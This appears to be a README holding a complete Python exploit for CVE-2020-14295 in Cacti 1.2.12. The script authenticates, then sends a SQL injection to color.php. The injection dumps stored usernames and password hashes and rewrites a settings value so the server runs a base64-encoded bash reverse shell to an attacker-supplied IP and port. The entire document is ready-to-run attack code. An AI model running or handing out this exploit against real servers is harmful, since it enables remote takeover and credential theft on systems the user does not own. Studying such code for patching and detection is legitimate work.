README.md
Rendering markdown...
#!/usr/bin/python3
# Exploit Title: cacti 1.2.12 - SQLI to RCE on colors.php [Authenticated]
# Date: Jun 17, 2020
# Vulnerability Founder : Mayfly [https://github.com/Mayfly277]
# Exploit Author: Mayfly [https://github.com/Mayfly277]
# Exploit refference : https://github.com/Cacti/cacti/issues/3622
# Vendor Homepage: http://www.cacti.net
# Software Link: https://github.com/Cacti/cacti/archive/refs/tags/release/1.2.12.zip
# Version: v1.2.12
# Tested on: Ubuntu
# CVE : CVE-2020-14295
# POC exploit author - 0z09e [https://github.com/0z09e]
# POC exploit written on - 29/04/2021
import requests
import sys
from base64 import b64encode
import argparse
blue = "\033[34m"
bold = "\033[1m"
green = "\033[32m"
purple = "\033[95m"
red = "\033[91m"
end = "\033[0m"
def ap(text) :
print(f"{bold}{green}[+] {end}{text}")
def ainfo(text) :
print(f"{bold}{purple}[*] {end}{text}")
def aerr(text) :
print(f"{bold}{red}[-] {end}{text}")
def exploit(target , username , password , ip , port):
session = requests.session()
ainfo("Sending initial request to the target")
try:
initial_req = session.get(f"{target}/cacti")
lines = list(map(str , initial_req.text.split()))
if "csrfMagicToken=" in initial_req.text:
lines = list(map(str , initial_req.text.split()))
for line in lines:
if "csrfMagicToken=" in line:
try:
csrf = line.split("csrfMagicToken=\'")[1].replace("\';" , "")
ap("Found CSRF token.")
except:
aerr("CSRF token not found")
sys.exit()
except:
aerr("Target isn't alive")
sys.exit()
data = {
"__csrf_magic" : csrf,
"action" : "login",
"login_username" : username,
"login_password" : password
}
session.post(f"{target}/cacti/index.php" , data=data , allow_redirects=False )
ainfo("Generating payload.")
bash_payload = b64encode(f"bash -i >& /dev/tcp/{ip}/{port} 0>&1".encode("ascii"))
sqli_payload = requests.utils.quote(f"1') UNION SELECT 1,username,password,4,5,6,7 from user_auth;update settings set value='echo {bash_payload}|base64 -d|bash;' where name='path_php_binary';-- -")
session.get(f"{target}/cacti/color.php?action=export&header=false&filter={sqli_payload}")
ap("Payload sent.")
try:
session.get(f"{target}/cacti/host.php?action=reindex" , allow_redirects=False , timeout=1 ).text
except:
ap("Payload triggered, check listener :)")
if __name__ == "__main__":
parse = argparse.ArgumentParser()
parser = parse.add_argument_group('required arguments')
parser.add_argument("-t" , metavar="Target" , help="Target URL" , required=True)
parser.add_argument("-U" , metavar="Username" , help="Cacti username" , required=True)
parser.add_argument("-P" , metavar="Password" , help="Cacti password" , required=True)
parser.add_argument("-i" , metavar="Shell-IP" , help="Reverse-Shell IP" , required=True)
parser.add_argument("-p" , metavar="Shell-Port" , help="Reverse-Shell Port" , required=True)
args = parse.parse_args()
target = args.t
username = args.U
password = args.P
ip = args.i
port = args.p
exploit(target , username , password , ip , port)